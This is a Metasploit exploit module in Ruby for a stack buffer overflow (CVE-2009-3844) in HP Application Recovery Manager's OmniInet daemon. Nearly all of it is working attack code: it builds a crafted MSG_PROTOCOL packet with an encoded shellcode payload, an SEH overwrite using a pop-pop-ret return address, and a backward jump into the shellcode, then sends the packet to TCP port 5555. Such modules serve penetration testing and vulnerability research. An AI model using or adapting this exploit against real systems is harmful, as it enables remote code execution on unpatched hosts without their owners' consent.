HP Application Recovery Manager (OmniInet.exe) Buffer Overflow

`##  
# $Id: hp_recovery_manager_omniinet.rb 8012 2009-12-28 21:12:11Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in HP Application Recovery  
Manager OmniInet daemon. By sending a specially crafted MSG_PROTOCOL packet, a  
remote attacker may be able to execute arbitrary code.  
},  
'Author' => 'EgiX <n0b0d13s[at]gmail.com>',  
'Version' => '$Revision: 8012 $',  
'References' =>  
[  
[ 'OSVDB', '60852'],  
[ 'CVE', '2009-3844' ],  
[ 'BID', '37250' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 4658,  
'BadChars' => '\x00',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret  
],  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(5555)], self.class)  
  
end  
  
def exploit  
connect  
  
off = payload_space + 8  
sep = "\x00\x00\x20\x00"  
  
buff = "\x00\x00\x12\x67" # packet length  
buff << "\xff\xfe\x32\x00\x36\x00\x37\x00" # MSG_PROTOCOL command  
buff << sep + rand_text_alpha_upper(2)  
buff << sep + rand_text_alpha_upper(2)  
buff << sep + rand_text_alpha_upper(2)  
buff << sep + rand_text_alpha_upper(2)  
buff << sep + payload.encoded + generate_seh_record(target.ret)  
# jump back to shellcode  
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string  
buff << sep  
  
print_status("Sending MSG_PROTOCOL packet")  
sock.put(buff)  
  
sleep(5)  
handler  
disconnect  
end  
  
end  
`